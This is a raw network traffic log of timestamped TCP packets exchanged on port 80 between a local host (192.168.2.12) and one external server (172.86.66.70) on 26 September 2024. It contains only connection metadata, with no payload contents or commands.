Sep 26, 2024 15:11:18.017678022 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017678022 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017678022 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017678022 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017678022 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.022613049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022645950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022689104 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.022711992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022761106 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022785902 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.022795916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022830963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022881031 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.022881985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022933960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022970915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.022994041 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023020029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023068905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023077965 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023102045 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023135900 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023166895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023216963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023232937 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023248911 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023283005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023332119 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023364067 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023381948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023381948 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023408890 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023415089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023447990 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023497105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023529053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023597002 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023629904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023662090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023694038 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023725986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023746014 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023746014 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023746014 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023746967 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023758888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023793936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023827076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023859978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023891926 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023924112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.023943901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023943901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.023972034 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024009943 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024049044 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024071932 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024080992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024117947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024168968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024202108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024234056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024267912 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024305105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024323940 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024323940 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024338961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024370909 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024403095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024431944 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024431944 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024434090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024452925 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024468899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024502993 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024552107 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024586916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024617910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024651051 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.024832010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024832010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.024832010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102446079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102499008 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102524042 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102540016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102576017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102576017 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102634907 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102650881 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102665901 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102680922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102695942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102777004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102792025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102806091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102894068 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102894068 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102894068 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102894068 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.102899075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102920055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102942944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102967978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102982998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.102998972 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103014946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103106022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103121042 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103135109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103157997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103173018 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103188038 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103200912 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103200912 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103202105 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103202105 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103204012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103285074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103363037 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103363037 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103378057 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103410959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103425980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103441000 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103455067 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103468895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103483915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103499889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103669882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103687048 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103707075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103713036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103713036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103713036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103713036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103713036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103725910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103740931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103756905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103813887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103827953 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103859901 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103874922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103889942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103905916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.103965044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103965044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103965044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103965044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.103965044 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104001045 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104017019 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104077101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104175091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104182959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104191065 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104199886 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104207039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104222059 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104229927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104238987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104386091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104403973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104418039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104441881 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104441881 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104441881 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104441881 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104480982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104497910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104511976 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104526997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104542971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104542971 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104557991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104573965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104638100 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104638100 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104638100 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104698896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104882002 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104897022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104911089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104923964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104938984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104954004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104968071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104989052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.104996920 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104996920 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.104996920 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105004072 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105020046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105036020 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105056047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105112076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105228901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105228901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105228901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105228901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105242968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105257988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105273008 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105288029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105304003 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105309010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105320930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105334997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105357885 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105382919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105396032 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105453014 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105488062 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105501890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105521917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105535984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105551004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105557919 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105566978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105581045 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105595112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105638027 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105638027 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105638027 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105736971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105752945 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105825901 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.105894089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105909109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105922937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105937004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105951071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105966091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105981112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.105995893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106010914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106024981 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106039047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106054068 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106087923 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106087923 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106087923 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106087923 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106087923 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106087923 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106267929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106281996 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106297016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106311083 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106326103 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106363058 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.106391907 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106391907 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.106498003 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190222025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190301895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190318108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190334082 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190350056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190366030 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190380096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190395117 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190418005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190438986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190442085 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190442085 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190442085 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190442085 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190455914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190470934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190486908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190501928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190515995 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190573931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190573931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190573931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190588951 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190603971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190618992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190634966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190651894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190660000 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190660000 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190731049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190747023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190762043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190777063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190793037 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190871000 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190886021 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190901041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.190943956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190943956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190943956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190943956 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.190999985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191082001 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191097975 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191111088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191127062 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191143036 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191157103 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191173077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191189051 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191313028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191329002 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191337109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191344023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191351891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191421032 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191421032 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191421032 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191421986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191421986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191471100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191485882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191500902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191514969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191530943 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191569090 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191569090 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191618919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191634893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191652060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191667080 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191682100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191695929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191709995 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191725016 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191732883 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191740036 CEST	80	49732	172.86.66.70	192.168.2.12
